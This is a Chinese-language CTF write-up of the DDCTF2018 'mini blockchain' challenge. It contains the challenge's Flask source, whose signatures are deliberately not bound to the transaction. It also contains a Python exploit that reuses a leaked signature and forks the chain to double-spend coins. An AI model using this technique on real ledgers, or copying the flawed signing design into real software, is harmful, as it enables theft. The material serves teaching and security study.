w-i-n-d

author: Homaebic
team: Syclover

mini blockchain

DDCTF2018出了一道区块链题目,对于区块链的web安全网上还没有很多的教程,这道题目给了一个很好的入门机会,我也将学习到的知识分享出来。

DD自己创造了一个自己的区块链货币用于商店,但它并不是真正的区块链,因为链只保存在服务器的session中,不过这不影响我们理解和做题。

来看一张交易模型

关于UTXO的详解看http://8btc.com/article-4381-1.html

区块链就是区块和链。在这道题目中,看上面的图片,一个方框就是一个区块(block)。一个区块包含了一次交易(tx),一个交易包含了交易的输入(input)和交易的输出(output),其中输出又称为UTXO。每一次交易的输入和输出必须相同,如果输入10块钱花了2块给便利店,那么2块输出给便利店,8块输出给自己。也可以把UTXO理解为余额,因为每次能花多少,都是要取决于之前的UTXO向自己输出了多少。

这道题目的背景是银行在某天发行了100w个DDB(对应上图第一个方块),这时黑客出现了,他在第一个block后面append了一个区块,把银行的99w9999转给了自己,把1转给银行。这样银行就只剩下一块钱了,黑客还得意的喊:second_block = create_block(genesis_block[\'hash\'], \'HAHA, I AM THE BANK NOW!\', [transferred]) 题目的要求是获得两个钻石,获得钻石的方法是商店有100w元。一个钻石的价格是100w,就是说我们得有200w才可以得到两个钻石,可银行只发行了100w,该怎么办?

双花攻击

双花攻击是同一笔UTXO在不同交易中的花费,双花不会产生新的货币,只能把自己花出去的钱重新拿回来。

这个攻击方法给了我灵感,实际上这道题就是使用双花攻击中的51% attack。51% attack指的是攻击者如果可以拥有超过全网50%的算力,就可以创造一条高度大于原始链的链,攻击者可以发送一个新的块到这条链上。(如果有对比特币进行51% attack成功的案例,最大的危害在于人们对比特币的信心受损导致的比特币大跌而不是51% attack本身带来的危害)

如何进行51% attack攻击?在这道题中,就是创造一条超过原始链的长度。为了在后续讲解中方便,先写出题目给出的几个块,主链上块前有*

*块1(创世区块):银行发行100w币
*块2(1):黑客转走99w9999,银行留1
*块3(1):空块(什么都没操作)

具体操作就是从块1之后append一个块,把银行的100w转到shop中

*块1(创世区块):银行发行100w币  
*块2(1):黑客转走99w9999,银行留1 块2(2)--shop转走100w
*块3(1):空块(什么都没操作)

(还可以随意转钱?就是有这种操作23333)

下一步,在自己append的块后append一个空块

*块1(创世区块):银行发行100w币  
*块2(1):黑客转走99w9999,银行留1 块2(2)--shop转走100w
*块3(1):空块(什么都不发生) 块3(2)--空块(什么都不发生)

再来一次同样的操作

*块1(创世区块):银行发行100w币  
块2(1):黑客转走99w9999,银行留1 *块2(2)--shop转走100w
块3(1):空块(什么都没操作) *块3(2)--空块(什么都不发生)
  *块4(1)--空块(什么都不发生)

此时最长的链为块1-块2(2)-块3(1)-块4(1)。这样,我们就构造了一个比题目给我们还要长的链,区块链这套逻辑会把最长的链当做主链,主链从块2(2)处分叉,块2(1)失效了,shop账户中多了100w,我们获得一个钻石。接下来系统在购买钻石的块3(2)块后添加一个块,转走商店中的100w到商店钱包。

*块1(创世区块):银行发行100w币  
块2(1):黑客转走99w9999,银行留1 *块2(2)--shop转走100w
  *块3(2)--空块(什么都不发生)
  *块4(1)--空块(什么都不发生)
  *块5(1)--把100w转到shop_wallet_address

那么另一个钻石该怎么获得呢?继续利用50% attack攻击,从块4(1)分叉,添加空块

*块1(创世区块):银行发行100w币    
块2(1):黑客转走99w9999,银行留1 *块2(2)--shop转走100w  
  *块3(2)--空块(什么都不发生)  
  *块4(1)--空块(什么都不发生)  
  *块5(1)--把100w转到shop_wallet_address 块5(2)--空块(什么都不发生)

再append一个空块

*块1(创世区块):银行发行100w币    
块2(1):黑客转走99w9999,银行留1 *块2(2)--shop转走100w  
  *块3(2)--空块(什么都不发生)  
  *块4(1)--空块(什么都不发生)  
  块5(1)--把100w转到shop_wallet_address *块5(2)--空块(什么都不发生)
    *块6(1)--空块(什么都不发生)

主链变为块1-块2(2)-块3(1)-块4(1)-块5(2)-块6(1),块5(1)失效,shop拥有100w,钻石+1,得到flag。

为何可以直接append?

在这道题目中,给了一个append块的方法,可以将post请求当做块append到某个块后面,这个是一个正常的功能。在生成sign的时候没有将使用签名的交易hash计算进去,导致在验证的时候没有验证sign和交易hash的对应,所以只要有一个sign,就可以不断的利用这个sign append区块。

如果可以任意append,为什么不直接给shop转200w?

首先,所有的append都必须在创世block后。其次,系统会验证append块中的sign。还会验证prev值,是否为某个已存在的block的hash。(block的hash是将block的每个参数打包后进行hash)无法知道某个block的hash就无法在block后append一个block。最后,转出的钱,必须是之前的UTXO,题目中UTXO总量为100w,无法创造200w的UTXO。

51% attack和算力有什么关系?

append的块除了以上要求,还有一个复杂性要求。也就是工作量证明(https://baike.baidu.com/item/%E5%B7%A5%E4%BD%9C%E9%87%8F%E8%AF%81%E6%98%8E/22448498?fr=aladdin)。任意添加一个块的要求是

DIFFICULTY = int(\'00000\' + \'f\' * 59, 16)
......
if block_hash > difficulty: raise Exception(\'Please provide a valid Proof-of-Work\')

block的hash要小于系统定义的difficulty。为了使得可以控制hash的大小,一个block中还有一个可以随意定义的nonce,我们可以控制nonce来控制block_hash达到目的。为了满足复杂度要求,必须穷举nonce。init()中的几个块可以使用有语义的nonce是因为在那个阶段DIFFICULTY要求极低。

如果世界上有100个用户在使用这个系统,100个用户都在计算nonce以append自己的block。如果其中一个人计算nonce的速度要超过其余99个的速度,那么他添加新块的速度就会超过其他99个人添加新块的速度,他就可以在随意的一个块开始添加自己的块,使得自己构造的链长度大于其余99个构造的链,成为主链,达成51%攻击。这道题没人和我们比算力,生成一个比最长链长度大一的链即可。

一个block结构是怎样的?块2(1)

{
\'nonce\': \'HAHA, I AM THE BANK NOW!\', 
\'prev\': \'dd04faf20c550cf63ae07504884e1fb673cfefaaac2979dde1ae3cbf95961569\', 
\'hash\': \'5217b7fa9c1e2296e66202997df0a51b20e58fe921011069535a62cd53518e55\', 
\'transactions\': [{
    \'input\': [\'9d65e5db-8671-4323-b279-af56963f2565\'], 
    \'output\': [{
        \'amount\': 999999, 
        \'hash\': 
        \'da32c8155ebbec8df888653d4d243698e29c4ea43cc0fa1bff14649e8511416b\', 
        \'id\': \'9dcb9e47-5816-4451-b99e-eb6d729f64b7\', 
        \'addr\': \'b2a6484625db7305ea7bb1c8a484832ec32686c0f3a3dac5cfe63779ede94494d841f8117fe1dd55c57e23aa61953391\'
        }, 
        {
        \'amount\': 1, 
        \'hash\': \'19fa5198bc172d6525976b7f0fb5f0647b96ab6b55bd4eb9033ab158faebb0ad\', 
        \'id\': \'592e27c6-b111-40a7-8b2d-ccefa333e616\', 
        \'addr\': \'99a13a3a21051c8f93c5a87f7f92151b4acfaf01f2e596696e8922e3801278470592cdbc8920f289a1829f726c43a1e9\'
        }],

        \'hash\': \'5815cc2ccf6327396ce5490c39e7c6381f15250fa0ab043eae8096d1a1c44704\', 
        \'signature\': [\'9455298609f042b631f99cb33f3f683f6b3361962df5f1c6f698e03b23d72c7ea42c939999913424e4c424f6b7024514\']
        }
]}

 

参数解释,括号内为生成函数

nonce:自定义字符串

prev:上一个块的hash

hash:本个块的hash(hashhash,hash_reducer,hash_block)

transactions:交易(tx)

​ input:之前utxo的id

​ output:UTXO

​ amount:数量

​ hash:UTXO的hash(hash,hash_reducer,hash_utxo)

​ id:这个UTXO的id

​ addr:目标地址

​ hash:交易的hash(hash,hash_reducer,hash_tx)

​ signature:交易签名(sign_input_utxo)

题目代码:

# -*- encoding: utf-8 -*-
# written in python 2.7

import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)
app.secret_key = \'*********************\'
url_prefix = \'/b9af31f66147e\'

def FLAG():
    return \'Here is your flag: DDCTF{******************}\'

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = \'0\'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)

def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith(\'L\'): hexed = hexed[:-1]
    if hexed.startswith(\'0x\'): hexed = hexed[2:]
    return hexed

def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, \'SHA-1\').encode(\'hex\')

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo[\'id\'], utxo[\'addr\'], str(utxo[\'amount\'])])

def create_output_utxo(addr_to, amount):
    utxo = {\'id\': str(uuid.uuid4()), \'addr\': addr_to, \'amount\': amount}
    utxo[\'hash\'] = hash_utxo(utxo)
    return utxo

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx[\'input\'], EMPTY_HASH),
        reduce(hash_reducer, [utxo[\'hash\'] for utxo in tx[\'output\']], EMPTY_HASH)
    ])

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {\'input\': input_utxo_ids, \'signature\': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], \'output\': output_utxo}
    tx[\'hash\'] = hash_tx(tx)
    return tx

def hash_block(block):
    return reduce(hash_reducer, [block[\'prev\'], block[\'nonce\'], reduce(hash_reducer, [tx[\'hash\'] for tx in block[\'transactions\']], EMPTY_HASH)])

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(\'\'): raise Exception(\'prev_block_hash should be hex-encoded hash value\')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception(\'the nonce is too long\')
    block = {\'prev\': prev_block_hash, \'nonce\': nonce, \'transactions\': transactions}
    block[\'hash\'] = hash_block(block)
    return block

def find_blockchain_tail():
    return max(session[\'blocks\'].values(), key=lambda block: block[\'height\'])

def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block[\'hash\'] != session[\'genesis_block_hash\']:
        curr_block = session[\'blocks\'][curr_block[\'prev\']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block[\'transactions\']:
            for input_utxo_id in tx[\'input\']:
                del utxos[input_utxo_id]
            for utxo in tx[\'output\']:
                utxos[utxo[\'id\']] = utxo
    return utxos

def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo[\'addr\'] not in balance:
            balance[utxo[\'addr\']] = 0
        balance[utxo[\'addr\']] += utxo[\'amount\']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode(\'hex\'), addr_to_pubkey(address))
    except:
        return False

def append_block(block, difficulty=int(\'f\'*64, 16)):
    has_attrs(block, [\'prev\', \'nonce\', \'transactions\'])

    if type(block[\'prev\']) == type(u\'\'): block[\'prev\'] = str(block[\'prev\'])
    if type(block[\'nonce\']) == type(u\'\'): block[\'nonce\'] = str(block[\'nonce\'])
    if block[\'prev\'] not in session[\'blocks\']: raise Exception("unknown parent block")
    tail = session[\'blocks\'][block[\'prev\']]
    utxos = calculate_utxo(tail)

    if type(block[\'transactions\']) != type([]): raise Exception(\'Please put a transaction array in the block\')
    new_utxo_ids = set()
    for tx in block[\'transactions\']:
        has_attrs(tx, [\'input\', \'output\', \'signature\'])

        for utxo in tx[\'output\']:
            has_attrs(utxo, [\'amount\', \'addr\', \'id\'])
            if type(utxo[\'id\']) == type(u\'\'): utxo[\'id\'] = str(utxo[\'id\'])
            if type(utxo[\'addr\']) == type(u\'\'): utxo[\'addr\'] = str(utxo[\'addr\'])
            if type(utxo[\'id\']) != type(\'\'): raise Exception("unknown type of id of output utxo")
            if utxo[\'id\'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo[\'id\']))
            new_utxo_ids.add(utxo[\'id\'])
            if type(utxo[\'amount\']) != type(1): raise Exception("unknown type of amount of output utxo")
            if utxo[\'amount\'] <= 0: raise Exception("invalid amount of output utxo")
            if type(utxo[\'addr\']) != type(\'\'): raise Exception("unknown type of address of output utxo")
            try:
                addr_to_pubkey(utxo[\'addr\'])
            except:
                raise Exception("invalid type of address({})".format(utxo[\'addr\']))
            utxo[\'hash\'] = hash_utxo(utxo)
        tot_output = sum([utxo[\'amount\'] for utxo in tx[\'output\']])

        if type(tx[\'input\']) != type([]): raise Exception("type of input utxo ids in tx should be array")
        if type(tx[\'signature\']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
        if len(tx[\'input\']) != len(tx[\'signature\']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
        tot_input = 0
        tx[\'input\'] = [str(i) if type(i) == type(u\'\') else i for i in tx[\'input\']]
        tx[\'signature\'] = [str(i) if type(i) == type(u\'\') else i for i in tx[\'signature\']]
        for utxo_id, signature in zip(tx[\'input\'], tx[\'signature\']):
            if type(utxo_id) != type(\'\'): raise Exception("unknown type of id of input utxo")
            if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
            utxo = utxos[utxo_id]
            if type(signature) != type(\'\'): raise Exception("unknown type of signature of input utxo")
            if not verify_utxo_signature(utxo[\'addr\'], utxo_id, signature):
                raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
            tot_input += utxo[\'amount\']
            del utxos[utxo_id]
        if tot_output > tot_input:
            raise Exception("You don\'t have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx[\'hash\'] = hash_tx(tx)

    block = create_block(block[\'prev\'], block[\'nonce\'], block[\'transactions\'])
    block_hash = int(block[\'hash\'], 16)
    if block_hash > difficulty: raise Exception(\'Please provide a valid Proof-of-Work\')
    block[\'height\'] = tail[\'height\']+1
    if len(session[\'blocks\']) > 50: raise Exception(\'The blockchain is too long. Use ./reset to reset the blockchain\')
    if block[\'hash\'] in session[\'blocks\']: raise Exception(\'A same block is already in the blockchain\')
    session[\'blocks\'][block[\'hash\']] = block
    session.modified = True

def init():
    if \'blocks\' not in session:
        session[\'blocks\'] = {}
        session[\'your_diamonds\'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
        genesis_block = create_block(EMPTY_HASH, \'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank\', [genesis_transaction])
        session[\'genesis_block_hash\'] = genesis_block[\'hash\']
        genesis_block[\'height\'] = 0
        session[\'blocks\'][genesis_block[\'hash\']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued[\'id\']], [handout, reserved], bank_privkey)
        second_block = create_block(genesis_block[\'hash\'], \'HAHA, I AM THE BANK NOW!\', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block[\'hash\'], \'a empty block\', [])
        append_block(third_block)

def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail

@app.route(url_prefix+\'/\')
def homepage():
    announcement = \'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. \'
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = \'hash of genesis block: \' + session[\'genesis_block_hash\']
    addr_info = \'the bank\\'s addr: \' + bank_address + \', the hacker\\'s addr: \' + hacker_address + \', the shop\\'s addr: \' + shop_address
    balance_info = \'Balance of all addresses: \' + json.dumps(balance)
    utxo_info = \'All utxos: \' + json.dumps(utxos)
    blockchain_info = \'Blockchain Explorer: \' + json.dumps(session[\'blocks\'])
    view_source_code_link = "<a href=\'source_code\'>View source code</a>"
    return announcement+(\'<br /><br />\r\n\r\n\'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))


@app.route(url_prefix+\'/flag\')
def getFlag():
    init()
    if session[\'your_diamonds\'] >= 2: return FLAG()
    return \'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to \'.format(session[\'your_diamonds\']) + shop_address

def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo[\'addr\'] == addr_from:
            amount -= utxo[\'amount\']
            collected.append(utxo[\'id\'])
        if amount <= 0: return collected, -amount
    raise Exception(\'no enough DDCoins in \' + addr_from)

def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)

@app.route(url_prefix+\'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>\')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0: return \'The bank has no money now.\'
    try:
        address = str(address)
        addr_to_pubkey(address) # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
        new_block = create_block(tail[\'hash\'], \'b@cKd00R tr1993ReD\', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + \' DDCoins are successfully sent to \' + address
    except Exception, e:
        return \'ERROR: \' + str(e)

DIFFICULTY = int(\'00000\' + \'f\' * 59, 16)
@app.route(url_prefix+\'/create_transaction\', methods=[\'POST\'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = \'transaction finished.\'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session[\'your_diamonds\'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(tail[\'hash\'], \'save the DDCoins in a cold wallet\', [transferred])
        append_block(new_block)
        msg += \' You receive a diamond.\'
    return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+\'/reset\')
def reset_blockchain():
    if \'blocks\' in session: del session[\'blocks\']
    if \'genesis_block_hash\' in session: del session[\'genesis_block_hash\']
    return \'reset.\'

@app.route(url_prefix+\'/source_code\')
def show_source_code():
    source = open(\'serve.py\', \'r\')
    html = \'\'
    for line in source:
        html += line.replace(\'&\',\'&amp;\').replace(\'\t\', \'&nbsp;\'*4).replace(\' \',\'&nbsp;\').replace(\'<\', \'&lt;\').replace(\'>\',\'&gt;\').replace(\'\n\', \'<br />\')
    source.close()
    return html

if __name__ == \'__main__\':
    app.run(debug=False, host=\'0.0.0.0\')

 

其余函数功能:

addr_to_pubkey:检查地址有效性

pubkey_to_address:生成钱包地址

gen_addr_key_pair:生成钱包地址

create_output_utxo:创建一个utxo

create_tx:创建一个tx

create_block:创建一个block

find_blockchain_tail:查询最后一个block

calculate_utxo:得到所有utxo

calculate_balance:计算钱包的余额

verify_utxo_signature:验证utxo签名

append_block:添加块

init:初始化函数

get_balance_of_all:得到所有block,所有地址和utxo

homepage:web主页

getFlag:flag获取页面

EXP: 重命名源代码为btc.py

# -*- encoding: utf-8 -*-

import btc, rsa, uuid, json, copy
#创世块的hash
genies_hash = "92875ca628cd0890020f6a74f3011b611db814f30300f729f20b5a88c49e3e44"
#黑客转账999999,所用的input和签名
input,signature = ("9018b356-cb1d-44c9-ab4e-bf15a8b2f95c","161ae7eac89f71d50d1019d21288dce23cae6cbb587998df9010e3ff3c80ee8e4c06bd70555604be85ca0869136b3966")
#商店地址
shop_address = "b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735"
txout_id = str(uuid.uuid4())

#工作量证明
def pow(b, difficulty, msg=""):
    nonce = 0
    while nonce<(2**32):
        b[\'nonce\'] = msg+str(nonce)
        b[\'hash\'] = btc.hash_block(b)
        block_hash = int(b[\'hash\'], 16)
        if block_hash < difficulty:
            return b
        nonce+=1   

def myprint(b):
    print(json.dumps(b))
    print(len(json.dumps(b)))

#构造一个空块
def empty_block(msg, prevHash):
    b={}
    b["prev"] = prevHash
    b["transactions"] = []
    b = pow(b, btc.DIFFICULTY, msg)
    return b

#从创世块开始分叉,给商店转1000000
block1 = {}
block1["prev"] = genies_hash
tx = {"input":[input],"output":[{"amount":1000000, \'id\':txout_id,\'addr\':shop_address}],\'signature\':[signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx[\'hash\'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)

#构造空块增加分叉链长度,使分叉链最长,因为max的结果不唯一,少则一次多则两次
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)

#余额更新成功,系统自动添加块,转走商店钱,钻石+1

#从自己的块,即系统转走钱之前的那个块再次分叉,添加空块
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
#新的分叉链最长,余额更新成功,钻石+1

 

生成出的四个块按顺序提交,再访问/flag就可以得到flag

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